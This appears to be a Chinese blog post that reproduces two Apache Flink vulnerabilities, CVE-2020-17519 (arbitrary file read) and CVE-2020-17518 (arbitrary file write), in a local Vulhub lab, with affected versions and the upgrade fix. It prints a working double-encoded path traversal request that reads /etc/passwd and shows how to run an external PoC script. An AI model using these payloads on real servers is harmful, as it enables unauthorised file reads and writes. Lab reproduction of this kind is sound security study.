CVE-2020-17518~17519 漏洞复现

CVE-2020-17518 | CVE-2020-17519 漏洞复现

ToC


Apache Flink 是由 Apache 软件基金会开发的开源流处理框架,其核心是用 Java 和 Scala 编写的分布式流数据流引擎。Flink 以数据并行和管道方式执行任意流数据程序,Flink 的流水线运行时系统可以执行批处理和流处理程序。此外,Flink 的运行时本身也支持迭代算法的执行。

Flink 提供高吞吐量、低延迟的流数据引擎以及对事件-时间处理和状态管理的支持。Flink 应用程序在发生机器故障时具有容错能力,并且支持 exactly-once 语义。程序可以用 Java、Scala、Python 和 SQL 等语言编写,并自动编译和优化到在集群或云环境中运行的数据流程序。

Flink 并不提供自己的数据存储系统,但为 Amazon Kinesis、Apache Kafka、Alluxio、HDFS、Apache Cassandra 和 Elasticsearch 等系统提供了数据源和接收器


I. CVE-2020-17519 Description

Apache Flink 目录遍历攻击


A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. CVE-2020-17519


在 Apache Flink 1.11.0 中引入的一个变化(在 1.11.1 和 1.11.2 中也有发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统中的任何文件。访问仅限于 JobManager 进程可以访问的文件。


受影响的版本: 1.11.0, 1.11.1, 1.11.2


缓解: 升级到 1.11.3 或以上的版本


i. 漏洞复现

使用 Vulhub 搭建环境:

1
wget https://raw.githubusercontent.com/vulhub/vulhub/c339f4ddd977ff9a956350de4b1e6fb20b7b4415/flink/CVE-2020-17518/docker-compose.yml

创建并启动容器

1
docker-compose up -d

查看容器

1
docker-compose ps

访问 http://127.0.0.1:8081


PoC:

1
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Burp 拦截修改请求

1
2
3
4
5
6
7
8
GET /overview HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8081/

修改请求路径

1
2
3
4
5
6
7
8
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8081/

passwd


II. CVE-2020-17518 Description

Apache Flink 目录遍历攻击: 通过 REST API 远程写入文件


Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system, through a maliciously modified HTTP HEADER. The files can be written to any location accessible by Flink 1.5.1. CVE-2020-17518


Flink 1.5.1 引入了一个 REST 处理程序,允许你通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统的任意位置。文件可以写到 Flink 1.5.1 可以访问的任何位置。


受影响版本:1.5.1 to 1.11.2


缓解:升级到 1.11.3 或以上的版本


i. 漏洞复现

继续使用上面创建的容器

PoC:
QmF0c3UK/CVE-2020-17518

执行 PoC:

1
python3 poc.py -u http://127.0.0.1:8081

查看利用是否成功:

1
docker-compose exec flink ls /tmp

success



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!